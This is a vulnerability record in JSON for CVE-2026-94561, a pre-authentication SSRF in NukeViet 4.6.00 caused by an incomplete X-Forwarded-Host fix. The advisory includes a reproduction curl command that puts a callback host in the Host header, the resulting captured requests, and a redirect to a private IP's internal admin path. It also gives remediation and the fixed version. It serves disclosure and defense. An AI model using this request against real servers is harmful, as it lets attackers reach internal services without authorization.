{"id":"CVE-2026-94561","aliases":["CVE-2026-94561","GHSA-8xch-674f-grqr"],"related":[],"kind":"vulnerability","state":"published","title":"NukeViet: Pre-authentication SSRF via incomplete X-Forwarded-Host fix","summary":"NukeViet CMS is a multi Content Management System. In 4.6.00, an unauthenticated attacker can place the configured domain in X-Forwarded-Host while choosing a different destination in the ordinary Host header. The earlier fix validates only the forwarded value in includes/mainfile.php, while set_ini_file() in includes/ini.php constructs an outbound cURL request from the separately retained NV_SERVER_NAME before the ordinary host is rejected. Redirect following can carry the blind request to an attacker-selected private host, port, and path and invoke internal HTTP endpoints. This issue is fixed in version 4.6.01.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"NukeViet CMS is a multi Content Management System. In 4.6.00, an unauthenticated attacker can place the configured domain in X-Forwarded-Host while choosing a different destination in the ordinary Host header. The earlier fix validates only the forwarded value in includes/mainfile.php, while set_ini_file() in includes/ini.php constructs an outbound cURL request from the separately retained NV_SERVER_NAME before the ordinary host is rejected. Redirect following can carry the blind request to an attacker-selected private host, port, and path and invoke internal HTTP endpoints. This issue is fixed in version 4.6.01.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nNukeViet 4.6.00 remains vulnerable to pre-authentication SSRF despite the fix for CVE-2026-55372 / GHSA-4chg-4752-w88r.\n\nThe fix validates the host derived from `X-Forwarded-Host`, but NukeViet separately retains the ordinary `Host` header as `NV_SERVER_NAME`. During server-information cache initialization, `set_ini_file()` constructs a cURL URL from this unvalidated value and sends the request before validating it.\n\nAn unauthenticated attacker can supply the legitimate configured domain in `X-Forwarded-Host` while placing an attacker-selected destination in `Host`.\n\n## Affected version\n\n- NukeViet 4.6.00\n- Commit: `f47de5cd6577d0d49449754be9bafe9081be4981`\n- No authentication required\n\n## Root cause\n\n- `Server.php` stores `Host` and `X-Forwarded-Host` separately.\n- `mainfile.php` performs the early allowlist check only on the value derived from `X-Forwarded-Host`.\n- `ini.php` uses the unvalidated ordinary host in an outbound cURL request and follows redirects.\n- The ordinary host is rejected only after the outbound request has occurred.\n\n## Reproduction\n\nUse a fresh callback host reachable from the NukeViet server:\n\n```bash\ncurl --http1.1 -i http://TARGET/ \\\n  -H 'Host: FRESH_CALLBACK_HOST' \\\n  -H 'X-Forwarded-Host: LEGITIMATE_DOMAIN' \\\n  -H 'Connection: close'\n```\n\nNo session cookie or credentials are required. A `400 Bad Request` response is expected because the SSRF occurs before the late host rejection.\n\nThe callback receives:\n\n```http\nPOST /index.php HTTP/1.1\nHost: FRESH_CALLBACK_HOST\nReferer: http://LEGITIMATE_DOMAIN\nContent-Type: application/x-www-form-urlencoded\n\n__serverInfoUpdate=1\n```\n\n## Verified impact\n\nIn a controlled test, the callback server returned:\n\n```http\nHTTP/1.1 302 Found\nLocation: http://PRIVATE_IP:8081/internal/admin/reload?source=ssrf-proof\n```\n\nNukeViet followed the redirect, and the private service received:\n\n```http\nGET /internal/admin/reload?source=ssrf-proof HTTP/1.1\nHost: PRIVATE_IP:8081\n```\n\nThis proves that an unauthenticated attacker can reach an attacker-selected private HTTP host, port, and path. This could invoke internal administrative endpoints that rely on private-network access as authentication.\n\nThe SSRF is blind: response bodies are not returned to the attacker. RCE and response-data theft were not demonstrated.\n\n## Remediation\n\n- Validate the ordinary `Host` before loading `ini.php` or performing any side effect.\n- Do not construct server-side request URLs from request headers; use a configured canonical origin.\n- Disable redirect following for this internal request.\n- Trust forwarded headers only from configured reverse proxies.\n\nhttps://github.com/user-attachments/assets/963af555-34d9-4be5-8618-1c70651e20ba\n\n\n[nukeviet_ssrf_poc.py](https://github.com/user-attachments/files/30169107/nukeviet_ssrf_poc.py)","format":"markdown","source":"ghsa"}],"published":"2026-11-20T18:42:34.846Z","modified":"2026-11-30T20:45:09.965Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":">= 4.6.00, < 4.6.01","status":"affected"}],"vendor":"nukeviet","product":"nukeviet","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"4.6.00","status":"affected","fixed":"4.6.01"}],"ecosystem":"Packagist","package":"nukeviet/nukeviet","purl":"pkg:composer/nukeviet/nukeviet","source":"ghsa"}],"references":[{"url":"https://github.com/nukeviet/nukeviet/security/advisories/GHSA-8xch-674f-grqr","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nukeviet/nukeviet/commit/a2ceabdacd5fb3135bde6cdfb106e76b24736095","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nukeviet/nukeviet/commit/b5305fe257a7487c7b8fbe74b31a9554793be720","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nukeviet/nukeviet/releases/tag/4.6.01","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nukeviet.vn/vi/news/Tin-tuc/thong-bao-phat-hanh-nukeviet-4-6-01-857.html","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94561","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nukeviet/nukeviet","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-11-25T04:24:33.776Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-94561","url":"https://www.cve.org/CVERecord?id=CVE-2026-94561","licence":"CVE Terms of Use","modified":"2026-11-25T04:24:55.772Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8xch-674f-grqr","url":"https://github.com/advisories/GHSA-8xch-674f-grqr","licence":"CC-BY-4.0","modified":"2026-11-30T20:45:09.965Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-94561","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94561","licence":"Public domain","modified":"2026-11-25T05:18:40.107Z"}],"updatedAt":"2026-11-30T20:57:24.943Z","epss":{"score":0.00558,"percentile":0.47872,"date":"2026-12-01T12:00:22.000Z"}}